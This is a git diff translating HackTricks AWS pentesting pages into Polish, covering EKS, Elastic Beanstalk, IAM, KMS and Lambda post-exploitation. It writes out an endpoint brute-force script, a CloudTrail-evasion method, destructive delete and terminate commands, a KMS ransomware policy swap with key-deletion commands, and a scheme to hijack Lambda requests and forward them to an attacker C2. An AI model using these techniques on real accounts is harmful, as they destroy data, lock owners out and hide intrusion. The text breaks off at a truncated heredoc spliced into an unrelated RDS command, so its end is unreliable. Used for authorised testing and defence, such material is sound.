roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Możliwe jest zezwolenie na **uwierzytelnianie OpenID dla konta usługi kubernetes**, aby mogły one przyjmować role w AWS. Dowiedz się, jak [**to działa na tej stronie**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint from a JWT Token - -Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +### POBIERZ punkt końcowy serwera API z tokena JWT +Dekodując token JWT, uzyskujemy identyfikator klastra oraz region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Wiedząc, że standardowy format dla adresu URL EKS to ```bash https://...eks.amazonaws.com ``` - -Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one: +Nie znalazłem żadnej dokumentacji, która wyjaśniałaby kryteria dla 'dwóch znaków' i 'liczby'. Ale przeprowadzając kilka testów na własną rękę, zauważyłem, że te się powtarzają: - gr7 - yl4 -Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list - +W każdym razie to tylko 3 znaki, możemy je bruteforce'ować. Użyj poniższego skryptu do generowania listy. ```python from itertools import product from string import ascii_lowercase @@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) number_combinations = product('0123456789', repeat = 1) result = [ - f'{''.join(comb[0])}{comb[1][0]}' - for comb in product(letter_combinations, number_combinations) +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) ] with open('out.txt', 'w') as f: - f.write('\n'.join(result)) +f.write('\n'.join(result)) ``` - -Then with wfuzz - +Potem z wfuzz ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` - > [!WARNING] -> Remember to replace & . +> Pamiętaj, aby zastąpić & . -### Bypass CloudTrail +### Ominięcie CloudTrail -If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). +Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak wyjaśniono wcześniej, **`get-token`** nie generuje logów w CloudTrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie). -So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. +Więc kiedy atakujący rozmawia z klastrem EKS, **cloudtrail nie zarejestruje nic związanego z użytkownikiem, który został skradziony i uzyskuje do niego dostęp**. -Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). +Zauważ, że **klaster EKS może mieć włączone logi**, które zarejestrują ten dostęp (chociaż domyślnie są one wyłączone). -### EKS Ransom? +### EKS Okup? -By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. +Domyślnie **użytkownik lub rola, która utworzyła** klaster **ZAWSZE będzie miała uprawnienia administratora** do klastra. I to jedyny "bezpieczny" dostęp, jaki AWS będzie miał do klastra Kubernetes. -So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. +Więc, jeśli **atakujący przejmie kontrolę nad klastrem używając Fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**. > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. +> Zauważ, że jeśli klaster używał **maszyn EC2**, możliwe byłoby uzyskanie uprawnień administratora z **Węzła** i odzyskanie klastra. > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> W rzeczywistości, jeśli klaster używa Fargate, możesz użyć węzłów EC2 lub przenieść wszystko do EC2 do klastra i odzyskać go, uzyskując dostęp do tokenów w węźle. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6267ee02f..dc3a21951 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -4,7 +4,7 @@ ## Elastic Beanstalk -For more information: +Aby uzyskać więcej informacji: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -13,72 +13,58 @@ For more information: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up. +> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia +Atakujący z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Ta akcja może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` - -**Potential Impact**: Disruption of application deployment and potential loss of application versions. +**Potencjalny wpływ**: Zakłócenie wdrażania aplikacji i potencjalna utrata wersji aplikacji. ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups. +> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia +Napastnik z uprawnieniem `elasticbeanstalk:TerminateEnvironment` może **zakończyć istniejące środowisko Elastic Beanstalk**, co powoduje przestój aplikacji i potencjalną utratę danych, jeśli środowisko nie jest skonfigurowane do tworzenia kopii zapasowych. ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` - -**Potential Impact**: Downtime of the application, potential data loss, and disruption of services. +**Potencjalny wpływ**: Przestój aplikacji, potencjalna utrata danych i zakłócenie usług. ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up. +> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia +Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Ta akcja może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie są one zabezpieczone. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` - -**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss. +**Potencjalny wpływ**: Utrata zasobów aplikacji, konfiguracji, środowisk i wersji aplikacji, co prowadzi do zakłóceń w usługach i potencjalnej utraty danych. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior. +> TODO: Sprawdzić, czy wymagane są dodatkowe uprawnienia +Napastnik z uprawnieniem `elasticbeanstalk:SwapEnvironmentCNAMEs` może **zamienić rekordy CNAME dwóch środowisk Elastic Beanstalk**, co może spowodować, że użytkownicy otrzymają niewłaściwą wersję aplikacji lub prowadzić do niezamierzonego zachowania. ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` - -**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments. +**Potencjalny wpływ**: Serwowanie niewłaściwej wersji aplikacji użytkownikom lub powodowanie niezamierzonego zachowania aplikacji z powodu zamienionych środowisk. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management. +> TODO: Przetestować, czy wymagane są dodatkowe uprawnienia +Napastnik z uprawnieniami `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` może **dodawać lub usuwać tagi na zasobach Elastic Beanstalk**. Działanie to może prowadzić do niewłaściwej alokacji zasobów, rozliczeń lub zarządzania zasobami. ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` - -**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags. +**Potencjalny wpływ**: Nieprawidłowe przydzielanie zasobów, fakturowanie lub zarządzanie zasobami z powodu dodanych lub usuniętych tagów. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index f734122e8..a8c19a5d4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,104 +4,90 @@ ## IAM -For more information about IAM access: +Aby uzyskać więcej informacji na temat dostępu IAM: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy Problem +## Problem z Confused Deputy -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. +Jeśli **zezwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w swoim koncie, prawdopodobnie będziesz miał **0 widoczności** na to, **kto dokładnie może uzyskać dostęp do tego zewnętrznego konta**. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do zewnętrznego konta (A), istnieje możliwość, że **B również będzie mogło uzyskać dostęp do twojego konta**. -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, można określić `ExternalId`. To jest "tajny" ciąg, który zewnętrzne konto (A) **musi określić**, aby **przyjąć rolę w twojej organizacji**. Ponieważ **zewnętrzne konto B nie zna tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do twojej roli**.
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Example: +Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł go zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, **zapobiega to nadużywaniu A przez B w celu uzyskania dostępu do twojej roli**. +Przykład: ```json { - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": { - "AWS": "Example Corp's AWS Account ID" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "12345" - } - } - } +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} } ``` - > [!WARNING] -> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. +> Aby atakujący mógł wykorzystać zdezorientowanego zastępcę, musi w jakiś sposób ustalić, czy podmioty bieżącego konta mogą udawać role w innych kontach. -### Unexpected Trusts - -#### Wildcard as principal +### Nieoczekiwane Zaufania +#### Wildcard jako podmiot ```json { - "Action": "sts:AssumeRole", - "Effect": "Allow", - "Principal": { "AWS": "*" } +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } } ``` +Ta polityka **zezwala wszystkim AWS** na przyjęcie roli. -This policy **allows all AWS** to assume the role. - -#### Service as principal - +#### Usługa jako główny ```json { - "Action": "lambda:InvokeFunction", - "Effect": "Allow", - "Principal": { "Service": "apigateway.amazonaws.com" }, - "Resource": "arn:aws:lambda:000000000000:function:foo" +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" } ``` +Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway, aby wywołać tę Lambdę. -This policy **allows any account** to configure their apigateway to call this Lambda. - -#### S3 as principal - +#### S3 jako główny ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, - "StringEquals": { - "aws:SourceAccount": "123456789012" - } +"StringEquals": { +"aws:SourceAccount": "123456789012" +} } ``` +Jeśli kubeł S3 jest podany jako główny, ponieważ kubełki S3 nie mają identyfikatora konta, jeśli **usunięto twój kubeł, a atakujący utworzył** go na swoim koncie, mogliby to wykorzystać. -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. - -#### Not supported - +#### Nieobsługiwane ```json { - "Effect": "Allow", - "Principal": { "Service": "cloudtrail.amazonaws.com" }, - "Action": "s3:PutObject", - "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` - -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). +Powszechnym sposobem unikania problemów z Confused Deputy jest użycie warunku z `AWS:SourceArn`, aby sprawdzić ARN pochodzenia. Jednak **niektóre usługi mogą tego nie wspierać** (jak CloudTrail według niektórych źródeł). ## References - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 482af5425..ec213a02f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,137 +1,125 @@ -# AWS - KMS Post Exploitation +# AWS - KMS Po Eksploatacji {{#include ../../../banners/hacktricks-training.md}} ## KMS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### Szyfrowanie/Odszyfrowanie informacji -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` i `file://` to schematy URI używane w poleceniach AWS CLI do określenia ścieżki do lokalnych plików: -- `fileb://:` Reads the file in binary mode, commonly used for non-text files. -- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements. +- `fileb://:` Odczytuje plik w trybie binarnym, powszechnie używany dla plików nie-tekstowych. +- `file://:` Odczytuje plik w trybie tekstowym, zazwyczaj używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań dotyczących kodowania. > [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key +> Zauważ, że jeśli chcesz odszyfrować dane w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://) +- Używając klucza **symetrycznego** ```bash # Encrypt data aws kms encrypt \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - -- Using a **asymmetric** key: - +- Używanie klucza **asymetrycznego**: ```bash # Encrypt data aws kms encrypt \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - ### KMS Ransomware -An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account. +Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę KMS kluczy i **przyznać swojemu kontu dostęp do nich**, usuwając dostęp przyznany legalnemu kontu. -Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account. +Wtedy użytkownicy legalnego konta nie będą mogli uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie. > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> Zauważ, że **klucze zarządzane przez AWS nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**. +> Zauważ również potrzebę użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ - --policy-name default \ - --policy file:///tmp/policy.yaml \ - --bypass-policy-lockout-safety-check +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check { - "Id": "key-consolepolicy-3", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**. +> Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko zewnętrznemu kontu, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie**.
-### Generic KMS Ransomware +### Ogólny KMS Ransomware -#### Global KMS Ransomware +#### Globalny KMS Ransomware -There is another way to perform a global KMS Ransomware, which would involve the following steps: +Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki: -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data - -### Destroy keys +- Utwórz nowy **klucz z materiałem klucza** importowanym przez atakującego +- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją nowym. +- **Usuń klucz KMS** +- Teraz tylko atakujący, który ma oryginalny materiał klucza, mógłby odszyfrować zaszyfrowane dane +### Zniszcz klucze ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ - --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ - --pending-window-in-days 7 +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 ``` - > [!CAUTION] -> Note that AWS now **prevents the previous actions from being performed from a cross account:** +> Zauważ, że AWS teraz **zapobiega wykonywaniu poprzednich działań z konta krzyżowego:**
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f25c205a..09d7d25f4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,30 +4,26 @@ ## Lambda -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Steal Others Lambda URL Requests +### Kradzież Żądań URL Lambda Innych Użytkowników -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +Jeśli atakującemu uda się w jakiś sposób uzyskać RCE wewnątrz Lambdy, będzie mógł ukraść żądania HTTP innych użytkowników do lambdy. Jeśli żądania zawierają wrażliwe informacje (ciasteczka, dane uwierzytelniające...), będzie mógł je ukraść. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### Kradzież Żądań URL Lambda Innych Użytkowników i Żądań Rozszerzeń -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Wykorzystując Lambda Layers, możliwe jest również nadużywanie rozszerzeń i utrzymywanie się w lambdzie, a także kradzież i modyfikacja żądań. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index bc93fe53a..e1c66f0d1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -1,42 +1,41 @@ -# AWS - Steal Lambda Requests +# AWS - Kradzież Żądań Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Flow +## Przepływ Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process. -2. The init process listens on port **9001** exposing some interesting endpoints: - - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event - - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke - - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error -3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**). -4. Finally, **bootstrap.py** sends to init the **response** +1. **Slicer** to proces poza kontenerem, który **wysyła** **wywołania** do procesu **init**. +2. Proces init nasłuchuje na porcie **9001**, udostępniając kilka interesujących punktów końcowych: +- **`/2018-06-01/runtime/invocation/next`** – pobierz następne zdarzenie wywołania +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – zwróć odpowiedź handlera dla wywołania +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – zwróć błąd wykonania +3. **bootstrap.py** ma pętlę, która pobiera wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (**`/next`**). +4. Na koniec **bootstrap.py** wysyła do init **odpowiedź** -Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process. +Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonania kodu realizowane przez kod użytkownika odbywają się w tym procesie. -## Stealing Lambda Requests +## Kradzież Żądań Lambda -The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process. +Celem tego ataku jest sprawienie, aby kod użytkownika wykonał złośliwy proces **`bootstrap.py`** wewnątrz procesu **`bootstrap.py`**, który obsługuje podatne żądanie. W ten sposób złośliwy proces **bootstrap** zacznie **rozmawiać z procesem init**, aby obsługiwać żądania, podczas gdy **legit** bootstrap jest **uwięziony**, uruchamiając złośliwy, więc nie będzie prosił o żądania do procesu init. -This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could: +To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany przez legitny proces **`bootstrap.py`**. Tak więc atakujący mógłby: -- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations. - - A request must be sent to **`/${invoke-id}/response`** - - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Execute a malicious **`boostrap.py`** which will handle the next invocations - - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual. - - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation. +- **Wysłać fałszywy wynik bieżącego wywołania do procesu init**, aby init myślał, że proces bootstrap czeka na więcej wywołań. +- Żądanie musi być wysłane do **`/${invoke-id}/response`** +- invoke-id można uzyskać ze stosu legitnego procesu **`bootstrap.py`** za pomocą modułu [**inspect**](https://docs.python.org/3/library/inspect.html) w Pythonie (jak [proponowano tutaj](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) lub po prostu ponownie żądając go do **`/2018-06-01/runtime/invocation/next`** (jak [proponowano tutaj](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- Wykonać złośliwy **`boostrap.py`**, który obsłuży następne wywołania +- Dla celów stealth można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle. +- Do tego ataku wystarczy pobrać oryginalny kod **`bootstrap.py`** z systemu lub [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda. -### Attack Steps +### Kroki Ataku -1. Find a **RCE** vulnerability. -2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Execute** the malicious bootstrap. - -You can easily perform these actions running: +1. Znaleźć **RCE** podatność. +2. Wygenerować **złośliwy** **bootstrap** (np. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) +3. **Wykonać** złośliwy bootstrap. +Możesz łatwo wykonać te działania, uruchamiając: ```bash python3 < \ - --db-subnet-group-name \ - --publicly-accessible \ - --vpc-security-group-ids +--db-instance-identifier "new-db-not-malicious" \ 